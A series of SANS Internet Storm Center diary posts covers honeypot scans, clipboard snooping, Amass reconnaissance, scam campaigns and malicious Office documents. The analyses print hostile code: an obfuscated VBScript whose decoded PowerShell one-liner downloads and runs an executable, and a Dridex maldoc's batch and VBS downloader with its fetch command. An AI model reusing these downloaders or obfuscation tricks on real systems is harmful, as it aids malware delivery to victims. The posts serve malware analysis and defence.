Diaries

Published: 2020-02-29

Hazelcast IMDG Discover Scan

Today my honeypot has been capturing scans for the Hazelcast REST API. I checked my logs for the past 2 years and these only started today. The last vulnerability published for Hazelcast was CVE-2018-10654 and related to "There is a Hazelcast Library Java Deserialization Vulnerability in Citrix XenMobile Server 10.8 before RP2 and 10.7 before RP3."[3]


There was some discussion regarding this issue at the end of Sep 2019 that got fixed at the end of Nov 2019 [5] where /hazelcast/rest/cluster HTTP endpoint returns HTTP 500 status. If you are seeing similar discovery scans and when they started, we would like to hear from you.

[1] https://docs.hazelcast.org/docs/management-center/3.9.2/manual/html/Clustered_REST_via_Management_Center.html
[2] https://vulmon.com/searchpage?q=hazelcast
[3] https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-10654&scoretype=cvssv2
[4] https://github.com/hazelcast/hazelcast/issues/15635
[5] https://github.com/hazelcast/hazelcast/pull/16150
[6] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

3 Comments

Published: 2020-02-28

Show me Your Clipboard Data!

Yesterday I've read an article[1] about the clipboard on iPhones and how it can disclose sensitive information about the device owner. At the end of the article, the author gave a reference to an iPhone app[2] that discloses the metadata of pictures copied to the clipboard (like the GPS coordinates).

This is true, our clipboards may contain sensitive information like… passwords, private URLs, confidential text, and man more! About passwords, many password managers use the clipboard to make the user’s life easier. You just need to paste data exported by the password manager in the password field. Some of them implement a technique to restore the content of the clipboard with previous data. This is very convenient but it is NOT a security feature. Once data has been copied into the clipboard, it can be considered as “lost” if other applications are monitoring its content.

Note that some Password managers are more "mature" and offer a browser add-on that communicates directly with the main application and bypass the clipboard.

This gave me the idea: let’s write a few lines of PowerShell to monitor the content of the clipboard on a Windows 10 host. Here is the very simple code based on Get-Clipboard[3]:

$data = Get-Clipboard;
while($true)
{
    $updated = $false;
    $olddata = $data;
    $data = Get-Clipboard;
    if ($olddata -ne $data) {
        $updated = $true;
    }

    if ($updated) {
        Write-Host “New clippboard data detected: $data”
    }
    Start-Sleep -Milliseconds 100;
} 

It just grabs the content of the clipboard every 0.1 seconds and, if changed, displays the content (note that I’m just handling basic text, binary content is ignored).

Let’s run it and continue to work as usual. We see the history of all data copied into the clipboard:

New clippboard data detected: clipboard
New clippboard data detected: 563068
New clippboard data detected: 177888
New clippboard data detected: https://blog.rootshell.be/2020/02/27/sans-isc-offensive-tools-are-for-blue-teams-too/
New clippboard data detected: lwi0b!nui8hAMTlG
New clippboard data detected: 'list' object has no attribute 'keys'
New clippboard data detected: https://www.youtube.com

You can guess that we have some 2FA tokens, passwords, error messages (that are usually pasted to Google, etc).

My Windows host is virtualised and, for more ease of use, the VM is not isolated:

This means that I can copy/paste between the host and the VM. Let’s test from a shell on the host:

xavier : ~ $ whoami|pbcopy
xavier : ~ $ pbpaste
uid=501(xavier) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae)

(pbcopy/pbpaste are MacOS commands to read/write the clipboard, very convenient :-)

And immediately, on my Windows VM, my scripts reacts:

New clippboard data detected: uid=501(xavier) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(com.apple.access_remote_ae)  

Even more interesting: I’m an Apple fan and I’ve the complete range of Apple devices, all of them are perfectly integrated…. The clipboard too! (Via iCloud). Let’s test again:

And, once data copied into the iPhone clipboard, I see in the VM host:

New clipboard data detected: Test from iPhone

By design, the clipboard is available to all processes running on the system. This mean also all potential malicious applications and malware. They don't require any special privileges to access the clipboard. Keep this in mind!

[1] https://www.securitynewspaper.com/2020/02/26/are-you-an-iphone-user-dont-copy-paste-your-card-number-or-passwords-other-apps-can-steal-your-data-from-the-clipboard/
[2] https://www.youtube.com/watch?v=tegfZNv8SBc
[3] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-clipboard?view=powershell-7

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-02-27

Offensive Tools Are For Blue Teams Too

Many offensive tools can be very useful for defenders too. Indeed, if they can help to gather more visibility about the environment that must be protected, why not use them? More information you get, more you can be proactive and visibility is key. A good example is the combination of a certificate transparency list[1] with a domain monitoring tool like Dnstwist[2], you could spot domains that have been registered and associated with a SSL certificate: It's a good indicator that an attack is being prepared (like a phishing campaign).

A tool got more attention recently event if now brand new: "Amass" from the OWASP project[3]. This tool is easy to install, easy to be “Dockerised” and there is also a package available on Kali. Amass is a reconnaissance tool that helps to gather information about your “target” if you’re on the Red side or, if you're on the Blue side, to have an overview of your Internet exposure.

The tool is easy to setup via a single configuration file. The key point is to configure your API keys and credentials for the available services that will be queried. Some of them (the list of not complete):

  • Spyse
  • Sublist3rAPI
  • ThreatCrowd
  • URLScan
  • ViewDNS
  • VirusTotal
  • Pastebin
  • DNSDB
  • Google
  • Netcraft
  • AlienVault
  • Censys
  • CertSpotter

You use the tool with submodules:

  • iIntel’ to collect OSINT
  • ‘enum’ to perform DNS network mapping
  • ‘viz’ to vizualize gathered data
  • ‘track’ to compare results between executions (this one is key for Blueteamers!)

Many command line arguments are available, please check the documentation for a complete overview[4].

Let’s start with the enumeration of a well-known domain: sans.edu.

root@kali:/tmp# amass enum -ip -src -brute -min-for-recursive 2 -d sans.edu
Querying Spyse for sans.edu subdomains
Querying Sublist3rAPI for sans.edu subdomains
...
Querying ThreatCrowd for sans.edu subdomains
Querying URLScan for sans.edu subdomains
Querying ViewDNS for sans.edu subdomains
Querying VirusTotal for sans.edu subdomains
[Crtsh]           isc.sans.edu 45.60.103.34,45.60.31.34
[Crtsh]           sans.edu 45.60.31.34,45.60.103.34
[Censys]          www.sans.edu 45.60.33.34
[Crtsh]           apply.sans.edu 72.55.140.155
[Google]          isctv.sans.edu 45.60.103.34,45.60.31.34
Starting DNS queries for brute forcing
[Crtsh]           handlers.sans.edu 74.208.193.6
[ThreatCrowd]     www3.sans.edu 204.51.94.213
[Riddler]         pre-www.sans.edu 204.51.94.213
[Riddler]         search.sans.edu 204.51.94.41
[BufferOver]      s120-www.sans.edu 204.51.94.126
[ThreatCrowd]     pre-isc31.sans.edu 204.51.94.153
[ThreatCrowd]     isc31.sans.edu 204.51.94.153
[IPv4Info]        isc32.sans.edu 204.51.94.154
[ThreatCrowd]     www2.sans.edu 66.35.59.213
Starting DNS queries for altered names
[Alterations]     s123-www.sans.edu 204.51.94.126
[Alterations]     pre-isc3.sans.edu 204.51.94.233
...
[Alterations]     s82-www.sans.edu 204.51.94.126
[Alterations]     s55-www.sans.edu 204.51.94.225
[Riddler]         lyncdiscover.sans.edu 52.112.192.14,2603:1027:0:2::e
[Brute Forcing]   autodiscover.sans.edu 52.97.186.152,52.97.232.216,52.97.186.120,2603:1026:200:3d::8,2603:1026:206:4::8,2603:1026:206:7::8
[Alterations]     s86-www.sans.edu 204.51.94.126
...
[Alterations]     s128-www.sans.edu 204.51.94.126
[Alterations]     s12-www.sans.edu 204.51.94.246
Average DNS queries performed: 1695/sec, DNS names queued: 0
Average DNS queries performed: 1068/sec, DNS names queued: 0
Average DNS queries performed: 4/sec, DNS names queued: 0
OWASP Amass v3.3.1                                https://github.com/OWASP/Amass
--------------------------------------------------------------------------------
71 names discovered - cert: 5, scrape: 5, api: 5, alt: 55, brute: 1
--------------------------------------------------------------------------------
ASN: 19551 - INCAPSULA, US
45.60.103.0/24    3    Subdomain Name(s)
45.60.31.0/24     3    Subdomain Name(s)
45.60.33.0/24     1    Subdomain Name(s)
ASN: 32613 - IWEB-AS, CA
72.55.128.0/18    1    Subdomain Name(s)
ASN: 8560 - ONEANDONE-AS Brauerstrasse 48, DE
74.208.0.0/16     1    Subdomain Name(s)
ASN: 62669 - SANS INSTITUTE (SANSI-1)
66.35.59.0/24     2    Subdomain Name(s)
204.51.94.0/24    61   Subdomain Name(s)
ASN: 8075 - MICROSOFT-CORP-MSN-AS-BLOCK, US
52.112.0.0/14     1    Subdomain Name(s)
2603:1000::/25    4    Subdomain Name(s)
52.96.0.0/12      3    Subdomain Name(s)

You can see that many interesting information are returned. I like the overview of the Autonomous Systems detected. Sometimes, it’s a good indicator to discover that some services are hosted in cloud services!

The next step is to generate some visual representation of data we collected:

root@kali:/tmp# amass viz -d sans.edu -d3

There are other export formats like a Maltego one. The result is a file called ‘amass_d3.html’ that can be viewed in any browser:

From a Blue team point of view, the ’track’ sub-module is the most interesting because it helps to find changes that occurred between different enumerations:

root@kali:/tmp# amass track -d sans.edu
--------------------------------------------------------------------------------
Between 02/26 18:33:09 2020 CET -> 02/26 18:36:19 2020 CET
and 02/26 18:14:47 2020 CET -> 02/26 18:33:09 2020 CET
--------------------------------------------------------------------------------
Moved: lyncdiscover.sans.edu
from 52.112.192.14,2603:1027:0:2::e
to 52.112.193.16,2603:1027:0:2::e
Moved: autodiscover.sans.edu
from 40.101.82.72,2603:1026:c0d:20::8,40.101.80.200,2603:1026:c0d:2a::8,2603:1026:c0b:16::8,52.97.176.40
to 2603:1026:207:14f::8,40.101.80.24,40.101.12.24,2603:1026:207:a7::8,2603:1026:206:8::8,40.101.12.136
Found: s13-www.sans.edu 204.51.94.225
Found: s6-www.sans.edu 204.51.94.246
Found: mp3.sans.edu 204.16.246.222
Found: s23-www.sans.edu 204.51.94.225
Found: s8-www.sans.edu 204.51.94.246
Found: s7-www.sans.edu 204.51.94.225
Found: s127-www.sans.edu 204.51.94.126
Found: s25-www.sans.edu 204.51.94.225
Found: s84-www.sans.edu 204.51.94.126
Found: pre-www31.sans.edu 204.51.94.125
Found: s89-www.sans.edu 204.51.94.126
Found: s83-www.sans.edu 204.51.94.126
Found: pre-www2.sans.edu 66.35.59.213
Found: s17-www.sans.edu 204.51.94.225
Found: s78-www.sans.edu 204.51.94.126
Found: s126-www.sans.edu 204.51.94.126
Removed: s90-www.sans.edu 204.51.94.126

Based on this, you can perform a quick scan of all discovered devices:

root@kali:/tmp# amass db -show -d sans.edu 2>/dev/null | grep sans.edu | while read HOST; do nmap -sC -v -Pn $HOST; done

About the integration with other tools, Amass (in enum mode) can dump results to a JSON file that can be easily re-used (ex: indexed in a Splunk) to maintain a list of assets.

Conclusion, there are many tools around that could have a real value for Blue teams!

Tip: Amass makes an intensive use of DNS! I recommend you to use one of the public DNS servers (1.1.1.1, 8.8.8.8, 9.9.9.9, etc) to not abuse your local resolvers.

[1] https://isc.sans.edu/forums/diary/Using+Certificate+Transparency+as+an+Attack+Defense+Tool/24114
[2] https://dnstwister.report/
[3] https://github.com/OWASP/Amass
[4] https://github.com/OWASP/Amass/blob/master/doc/user_guide.md

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-02-25

Quick look at a couple of current online scam campaigns

Since I was exposed to three different online scam campaigns in the last three weeks, without having to go out and search for them, I thought that today might be a good time to take a look at how some of the current online scams work.

All of the campaigns we’ll mention seemed to target people in the Czech Republic, although not exclusively, as one of the landing pages I found had at least 20 different regional variants set up for countries from all over the world. In cases where I was unable to find an English version of a page, I had Chrome translate it – the results are not always pretty, but should be sufficient for our purposes.

Everything started a couple of weeks ago, when I was searching for a website of a certain small town theater on my phone. Having found it on Google, I tapped the relevant link and was surprised when, my browser didn’t stop at the intended destination, but rather was redirected to a site proclaiming me a "lucky visitor" of the day with a "chance to win Apple iPhone 11 Pro".

Given all the ad blockers and script filters I usually use, I didn’t see any similar pages or pop-ups similar to this one (not counting phishing pages, of course) for a long time, so I decided to take a closer look at it. After clicking through four questions related to my preference in browsers, I was informed that I had a chance to win a brand new iPhone (although it wasn’t quite obvious that the offer was to enter a contest and not to buy the phone at an incredibly low price, as you may see for yourself).

One interesting part of this page, which deservers a special mention, was the comments section at the end, as it was seemingly populated in real time through JavaScript embedded in the HTML code. That is, all the comments were loaded as part of the original page at the same time, but displayed one at a time. I imagine that having them appear one after another with "like counts" rising while the user watches might look quite convincing to potential victims.

After clicking the button, browser was redirected to another domain where it seemed, once again, as if a user had the option to buy an iPhone for a small fraction of its usual price.

Next, the site asked for some personal information – a full name and an address along with an e-mail and a phone number.

What wasn’t obvious at first glance, but would be really important to anyone actually trying to order the phone, was a small paragraph hidden at the end of the page, explaining that the customer wasn’t actually buying an iPhone, but was merely entering a prize draw for it. By itself, that wouldn’t be so bad, but the rest of the text mentioned that, besides confirming his participation in the contest, the user would be subscribing to an unnamed pre-paid service with a €75 monthly fee.

The last thing required of a user at that point, would be to fill in his credit card details in order to confirm the payment. Not the €75 subscription, which would later be charged against users account, but the "price" for the iPhone (or rather for a participation in the iPhone lottery) of approximately €1.5.

About a week after I found the previously mentioned website, a colleague of mine asked me, laughing, whether I wanted to buy a new iPhone for €2. My first guess was that he managed to end up on the same site I did. This, however, didn’t turn out to be the case as the second campaign was a straightforward phishing. Nevertheless, what caught my attention was the use of the same graphical style I saw in the previous campaign.

Apart from the stripe at the top, the landing page (and other pages, all the way to the payment form) was nearly identical to those used in the first campaign as well.

Unlike in the first campaign, however, there was no paragraph on any of the pages explaining whether the user was actually subscribing to any service, so it is hard to say what unexpected things one might be charged for if one actually tried to buy an iPhone in this way.

Although the second campaign comes much closer to a phishing style of operation than to a classic scam, re-use of the same assets in both campaigns is interesting. Use of the same phishing kits (or "scamas" as they are sometimes called) on multiple sites is not too unusual – many such kits are actually open-sourced and some may even be found on GitHub. Nevertheless, one usually doesn’t expect to see the same kit used twice within a couple of weeks for two different campaigns with different modes of operation…much less three.

On Saturday, I was looking for information about a vulnerability in a certain software product and one of the results, which Google returned, ended up pointing my browser to another site with the same landing page offering iPhones for €2. At first glance, it looked like another campaign simply re-using the same kit, however, after a bit of digging around, I discovered that this campaign was actually much more complex than the previous ones.

The first and second campaigns used couple of forced redirects each to get a user to the landing page.

The third campaign had multiple starting pages on multiple domains redirecting to a couple of domains/IP addresses, which finally redirected to multiple landing pages (or, under some conditions, to Google). I only mapped out a small part of the starting and landing pages, but the following diagram should give you an idea of the inner workings of this campaign.

Since all three parts of the redirection chain were interesting, let’s take a look at each one in turn.

The initial/starting pages used cloaking (i.e. serving different content to search engine spiders than to regular users[1]), which was the reason I landed on one of these pages in the first place – Google had it indexed as containing information which wasn’t actually there. In addition to the cloak, a referrer check was implemented on the servers serving the initial pages to make things a little more complicated. The behavior and responses of the servers did therefore differ quite significantly based on a couple of factors.

  • If a user should manually enter the address of one of the initial pages (for example hxxp://wzhi.buxtex.de/web-shell.html), the server would return a HTTP 404 response.
  • If the same user were to navigate to the same page through a link from a search engine, the server would return a HTTP 302 response and would redirect the browser in the way shown in the diagram above. The server would only provide the 302 response if an address of a well-known search engine (e.g. Google or Bing) was present in the Referer header of the HTTP request. With the Referer header set to any other value, the server would – once again – return a 404 response.
  • Finally, if a search engine spider such as Googlebot were to visit the page, it (or anyone using a User-Agent header set to "Googlebot") would be served with a clickbait content cobbled together from different sites. In case of web-shell.html for example, one part of the content was taken from an article published on rapid7.com.

Given the behavior of the servers described above, it is almost certain that any real user would be redirected to another URL after visiting one of the initial pages. That would start a chain of multiple forced redirections between the domains and IP addresses mentioned in the diagram above (and potentially others as well).

Although many of these appear to be suspicious at first glance, not all of them are necessarily malicious – one of the domains, ladsblue.com, actually belongs to a commercial advertising network named Adsterra. A quick Google search for Adsterra led to a number of claims that this network doesn’t always operate ethically[2], however, hoping that these claims are not correct, I did let the company know about the misuse of their ad network with the hope that they will block it.

The redirection chain would end on one of a number of different landing pages, chosen based on geolocation of the IP address from which the user was connected (and potentially other factors). It is possible that not all of the pages one might land on after the redirects end are related to scams. One of the redirection chains, for example, led to a page for a certain betting site, and even though Google results seem to indicate that it might not be a completely legitimate service, I can’t be sure of that without further research I wasn’t willing to put in.

The one site we can be quite sure was a scam, however (apart from the site using the "iPhone for €2" kit we saw in the first two campaigns), was hosted at the domain hxxps://financialwealthnow.net. The reason we may be certain of the fraudulent nature of the site is that this site was a copy of the official website of a Czech 24 hour news TV station[3].

This is the real site...

...and this is the fake one.

The text on the site tries to get visitors to register with a cryptocurrency trading platform with promises of instant wealth and with the help of a fake interview with a well-known Czech politician and entrepreneur praising the platform. If you’d like to take a closer look at the contents of the fake page, I wrote a short post about it (in Czech) at untrustednetwork.net[4].

What appears to be even more interesting than the contents of the page themselves is that the site seems to be part of a much larger operation using fake celebrity interviews and deceptive ads, which is run by a group called FizzCore (thanks to @vavkamil for pointing this out to me). The description of (for lack of a better term) TTPs of this actor provided in the analysis published by Confiant[5] fits the fake news page exactly.

Although the last campaign is quite interesting, neither it, nor either one of the previous ones, were unique. Similarly, forced multiple redirects to less than reputable sites are nothing new. Even though both of these statements are true, I found the brief look I was given into the world of current internet scams fairly informative… And I hope that you did as well.

[1] https://en.wikipedia.org/wiki/Spamdexing#Cloaking
[2] https://www.google.com/search?q=adsterra+scam
[3] https://ct24.ceskatelevize.cz/
[4] https://www.untrustednetwork.net/cs/2020/02/22/ct24_podvodna_stranka/
[5] https://blog.confiant.com/fake-celebrity-endorsed-scam-abuses-ad-tech-to-net-1m-in-one-day-ffe330258e3c

-----------
Jan Kopriva
@jk0pr
Alef Nula

3 Comments

Published: 2020-02-24

Maldoc: Excel 4 Macros and VBA, Devil and Angel?

Philippe Lagadec, the developer of ole-tools, pointed out something interesting about the following maldoc sample (MD5 a0457c2728923cb46e6d9797fe7d81dd): it contains both Excel 4 macros and VBA code.

Here is the VBA code:

It's just displaying a message box about a problem, and when the user clicks the OK button, it attempts to close Excel. Nothing nefarious here.

And here are the Excel 4 macros:

Launching a PowerShell command. A downloader: that's nefarious.

This sample might well be a PoC, but it's great to illustrate that both scripting technologies (ancient Excel 4 macros and old VBA) can coexist in the same document.

When you analyze potential malicious Excel files, it's best to check both for the presence of Excel 4 macros and VBA code.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-02-23

Maldoc: Excel 4 Macros in OOXML Format

I've mentioned Excel 4 macros before, a scripting technology that predates VBA.

In that diary entry, I handle .xls files (ole files). Excel 4 macros can also be stored in Office Open XML format files: .xlsm files.

If we take a look at an .xlsm file with Excel 4 macros with oledump.py, we'll get this output:

There is no ole file (vbaProject.bin) file inside an Excel 4 macro-only file.

We need to take a look with zipdump.py:

The presence of folder macrosheets tells us that there are Excel 4 macro sheets inside this file.

We can look at the content of the XML file:

And pretty-print it with xmldump.py:

Now it's easier to spot the formulas: EXEC("calc.exe") and HALT()

And the Auto_Open can be found in the worksheet XML file:

It's possible to have both macro types inside the same file: Excel 4 and VBA macros. I'll cover that in an upcoming diary entry.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-02-22

Simple but Efficient VBScript Obfuscation

Today, it’s easy to guess if a piece of code is malicious or not. Many security solutions automatically detonate it into a sandbox by security solutions. This remains quick and (most of the time still) efficient to have a first idea about the code behaviour. In parallel, many obfuscation techniques exist to avoid detection by AV products and/or make the life of malware analysts more difficult. Personally, I like to find new techniques and discover how imaginative malware developers can be to implement new obfuscation techniques.

This morning, I spotted a very simple VBSscript based on only 50 lines of code. It gets an excellent VT score: 1/60[1] but it was spotted by my hunting rule!

Basically, all suspicious keywords that could trigger a bell are random strings and replaced during the execution. Example:

x010 = Replace(x010,"OXentrew","Executionpolicy")
x010 = Replace(x010,"BCijaMA","bypass")

The most interesting variable is the following:

x002 = """" & x004 & """-OXentrew BCijaMA -NNoGayGay " _
  & " -windowstyle caralhos2 -Seisal ""Set-Content -value " _
  & " (new-object System.net.webclient)" _
  & ".FuiDUi( 'MIGOSEYLOVO54[.]233[.]198[.]219/a.exe' ) " _
  & " -encoding byte -Path  $env:appdata\RiCOAOCAO\Network\Connections\" & rando & "; " _
  & " Start-Process ""$env:appdata\RiCOAOCAO\Network\Connections\" & rando & """"""

Here is the decoded version:

CreateObject("Scripting.FileSystemObject").BuildPath(CreateObject("Wscript.Shell").expandenvironmentstrings( "%systemroot%" ), "System32\WindowsPowerShell\v1.0\powershell.exe" )
  -Executionpolicy bypass
  -noprofile 
  -windowstyle hidden 
  -command "Set-Content -value (new-object System.net.webclient).downloaddata('http://54[.]233[.]198[.]219/a.exe' ) ) 
                 -encoding byte -Path  $env:appdata\Microsoft\Network\Connections\xxxxxx.exe;
            Start-Process $env:appdata\Microsoft\Network\Connections\xxxxx.exe"

(The dumped payload xxxxx.exe is a random string of 25 characters)

This onliner downloads and executes a payload. Wha about the payload? It’s a Putty client (SHA256:601cdbddfe6ac894daff506167c164c65446f893d1d5e4b95e92d960ff5f52b0), nothing malicious. There are good chances that this piece of code has been submitted to VT by a Red Team or attackers who are still brushing up their payload. The IP address is an AWS instance and the homepage returns:

me empresta 10k ai???
549d0ef4cb517e78c6a9c4d9de05b6ac

This Portuguese sentence means “lend me 10k there ???”

[1] https://www.virustotal.com/gui/file/e5f242deb5f37eb0754fa214ccb0b00593b348e63f1775a0c9e4529a8f78e1f8/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-02-21

Quick Analysis of an Encrypted Compound Document Format

We like when our readers share interesting samples! Even if we have our own sources to hunt for malicious content, it’s always interesting to get fresh meat from third parties. Robert shared an interesting Microsoft Word document that I quickly analysed. Thanks to him!

The document was delivered via an email that also contained the password to decrypt the file:

I tried to open the document in my sandbox but the decrypted content was quickly spotted by my antivirus and removed, making the document not available:

You can always try to disable temporary the AV but it's not fun. Let's boot a Remnux environment and check the file. The attachment was indee not detected as a classic Word document:

remnux@remnux:/mnt/malwarezoo$ file nv_921249.doc
nv_921249.doc: CDFV2 Encrypted

The file is not a classic Word document, it’s a CDFv2 or “Compound Document Format” but also encrypted as reported by the file command above. Those files are not new, I already analysed such kind of documents in the past[1]. The fact that the document is encrypted makes it very diffcult for AV's to detect if it's malicious or not. It’s current VT score remains excellent (from the attacker’s point of view): 1/60[2]. 

Let's try to decrypt it via another tool. There exists a wonderful Python library[3] to decode all kind of Office documents. To use such libraries, I like to use a temporary Docker container so not polute my system with many dependencies. I've a simple Ubuntu container that I prepared with a basic Python environment. Let's install the msoffcrypto-tool and try to decrypt the document:

root@remnux:/mnt/malwarezoo# docker run -it ubuntu bash
root@bcc13616b8c8:/# pip install msoffcrypto-tool

From another shell, transfer the file to the Docker:

root@remnux:/mnt/malwarezoo# docker cp nv_921249.doc bcc13616b8c8:/

And back in the container:

root@bcc13616b8c8:/# msoffcrypto-tool nv_921249.doc nv_921249_decrypted.doc -p 159
root@bcc13616b8c8:/# root@bcc13616b8c8:/tmp# ls -l nv*
-rwxr-xr-x 1  501 dialout 574808 Feb 19 14:08 nv_921249.doc
-rw-r--r-- 1 root root    562507 Feb 20 13:59 nv_921249_decrypted.doc
root@bcc13616b8c8:/# file nv_921249_decrypted.doc
nv_921249_decrypted.doc: Microsoft Word 2007+

We now have a regular document that can be analyzed "as usual":

root@remnux:/mnt/malwarezoo# docker cp bcc13616b8c8:/nv_921249_decoded.doc .
root@remnux:/mnt/malwarezoo# unzip -d nv_921249_decoded nv_921249_decoded.doc

Let's check, if we have some interesting macros. In newest Office documents, they remain stored in a CDF file called 'vbaProject.bin':

root@remnux:/mnt/malwarezoo# cd nv_921249_decoded/word
root@remnux:/mnt/malwarezoo# file vbaProject.bin
vbaProject.bin: Composite Document File V2 Document, No summary info
root@remnux:/mnt/malwarezoo# oledump.py vbaProject.bin
  1:        97 'BadColorSample/\x01CompObj'
  2:       329 'BadColorSample/\x03VBFrame'
  3:       151 'BadColorSample/f'
  4:      2356 'BadColorSample/o'
  5:        97 'EleganteSample/\x01CompObj'
  6:       316 'EleganteSample/\x03VBFrame'
  7:     34591 'EleganteSample/f'
  8:       400 'EleganteSample/o'
  9:       771 'PROJECT'
 10:       176 'PROJECTwm'
 11: m    1165 'VBA/BadColorSample'
 12: M    7575 'VBA/EleganteSample'
 13: m     924 'VBA/ThisDocument'
 14:      5762 'VBA/_VBA_PROJECT'
 15:      2552 'VBA/__SRP_0'
 16:       339 'VBA/__SRP_1'
 17:       458 'VBA/__SRP_2'
 18:      1859 'VBA/__SRP_3'
 19:       941 'VBA/dir'
 20: M  870522 'VBA/modNormalTheme'

Cool, we have some macros to analyze! Based on the size, the secion 20 looks the most interesting:

root@remnux:/mnt/malwarezoo# oledump.py -s 20 -v vbaProject.bin >vbaProject.bin-20

The macro contains a lot of unused code at the beginning until we reach the classic 'AutoOpen' function:

Payloads are dropped in a specific directory:

Set scr1 = CreateObject("Scripting.FileSystemObject")
If scr1.FolderExists("c:\Colorfonts32") = False Then
  scr1.CreateFolder "c:\Colorfonts32"
End If

Multiple files are created in this directory. Some containing junk code:

Set linewhriter = scr1.CreateTextFile("c:\Colorfonts32\2DDCDCBC3D62F9.cmd", True)
linewhriter.WriteLine ("99462556693925187374479185006232677344442182363787912879059866462141085002")
linewhriter.WriteLine ("55193945093569259318833897584021319387054888349538451996930927254008940910")
linewhriter.WriteLine ("65158075754325850730344090470708418318689590711630808439687893685229400899")
linewhriter.WriteLine ("70374515370843822395077913383446096176205693647316180126935077878604491350")
linewhriter.WriteLine ("19850529598570541870433214645389375169037974261225923174022893498644778903")
linewhriter.WriteLine ("65047304519896520253148596266787469504662148125518242468515994150853187638")
linewhriter.WriteLine ("19515941319404513296982082066159672704065884262885856266628325608271989234")
linewhriter.WriteLine ("16592858169590981777259733949634617698755847096812709380502570987251900031")
linewhriter.WriteLine ("46613280575903496171677449072348557094855583556549946842837953429688455690")
linewhriter.WriteLine ("91721447158341697691063262617495097092397833918311631623507444101931871761")
linewhriter.WriteLine ("82629881111912322869508867315788399472931869696159340413174984131527151467")
linewhriter.Close

The most interesting created file is a batch script that generated a .vbs file

(Note, the code has been beaufified)

@echo off
set Robocar=C:\Colorfonts32\visitcard.vbs
break>%Robocar%
echo 'The Amazon Echo Studio promises not only to be the best-sounding Echo speaker yet but a smart speaker truly fit for audiophiles. >> %Robocar%
echo 'Not just boasting upgraded internals >> %Robocar%
echo 'Title: Ascii-Editor (new) >> %Robocar%
echo 'Description: I've changed a little bit! - Try it and vote for me! >> %Robocar%
echo 'The author may have retained certain copyrights to this code...please observe their request and the law by reviewing all copyright conditions >> %Robocar%
echo Dim args, http, fileSystem, adoStream, url, target, status >> %Robocar%
echo. >> %Robocar%
echo Set args = Wscript.Arguments >> %Robocar%
echo Set http = CreateObject("MICROsOFT.xmlHttP") >> %Robocar%
echo "Our colleagues at Techradar were pleasantly surprised"
echo "Wenn du in der App ein Reiseziel vermisst, könnte das daran liegen, dass du die Aktualisierung"
echo url = args(0) >> %Robocar%
echo target = args(1) >> %Robocar%
echo 'MARCO POLO Touren-App installiert >> %Robocar%
echo. >> %Robocar%
echo http.Open "GET", url, False >> %Robocar%
echo http.Send >> %Robocar%
echo status = http.Status >> %Robocar%
echo. >> %Robocar%
wait 10
echo If status ^<^> 200 Then >> %Robocar%
echo    WScript.Quit 1 >> %Robocar%
echo End If >> %Robocar%
echo. >> %Robocar%
echo "We were unable to find that page."
echo "Collectible Card Game"
echo "Daten zu den übrigen Reisezielen vom MARCO POLO Server heruntergeladen."
echo "Reiseziel auswählen und nun die gewünschten Touren mit Tourenverlauf und Offline-Karten herunterladen."
echo Set adoStream = CreateObject("ADODB.Stream") >> %Robocar%
echo adoStream.Open >> %Robocar%
echo adoStream.Type = 1 >> %Robocar%
echo adoStream.Write http.ResponseBody >> %Robocar%
echo adoStream.Position = 0 >> %Robocar%
echo. >> %Robocar%
echo "Find Complete Details about Pokemon"
echo Set fileSystem = CreateObject("Scripting.FileSystemObject") >> %Robocar%
echo If fileSystem.FileExists(target) Then fileSystem.DeleteFile target >> %Robocar%
echo adoStream.SaveToFile target >> %Robocar%
echo adoStream.Close >> %Robocar%
echo "App dich nach einiger Zeit noch einmal. Wenn du nicht bis dahin warten möchtest, deinstalliere die"

Here is the .vbs file content (also beautified and junk comments removed):

Dim args, http, fileSystem, adoStream, url, target, status
Set args = Wscript.Arguments
Set http = CreateObject("MICROsOFT.xmlHttP")
url = args(0)
target = args(1) 
http.Open "GET", url, False http.Send 
status = http.Status 
If status <> 200 Then
  WScript.Quit 1 
End If 
Set adoStream = CreateObject("ADODB.Stream")
adoStream.Open adoStream.Type = 1
adoStream.Write http.ResponseBody
adoStream.Position = 0
Set fileSystem = CreateObject("Scripting.FileSystemObject")
If fileSystem.FileExists(target) Then fileSystem.DeleteFile target
adoStream.SaveToFile target 
adoStream.Close

This script is just a downloader that grabs a PE file and dump it on the disk:

wscript //nologo c:\Colorfonts32\visitcard.vbs hxxp://mineminecraft[.]xyz/yifumejyzhasamydfglb/onbtn.bin c:\Colorfonts32\secpi15.exe

The domain mineminecraft[.]xyz did not resolve in my case but, fortunately, the URL was already scanned by VT a few hours before and I was able to grab the PE file (VT score 26/69)[4]. It's a classic Dridex sample.

As you can see, the encrypted CDF file is a nice way to bypass antivirus engines running at MTA level.

[1] https://isc.sans.edu/forums/diary/Another+Malicious+Document+Another+Way+to+Deliver+Malicious+Code/20809/
[2] https://www.virustotal.com/gui/file/d871c6ab1a7aaaf5ed0826fe2564ec813ad582ee27a1f34af53203895893fbf6/details?
[3] https://github.com/nolze/msoffcrypto-tool
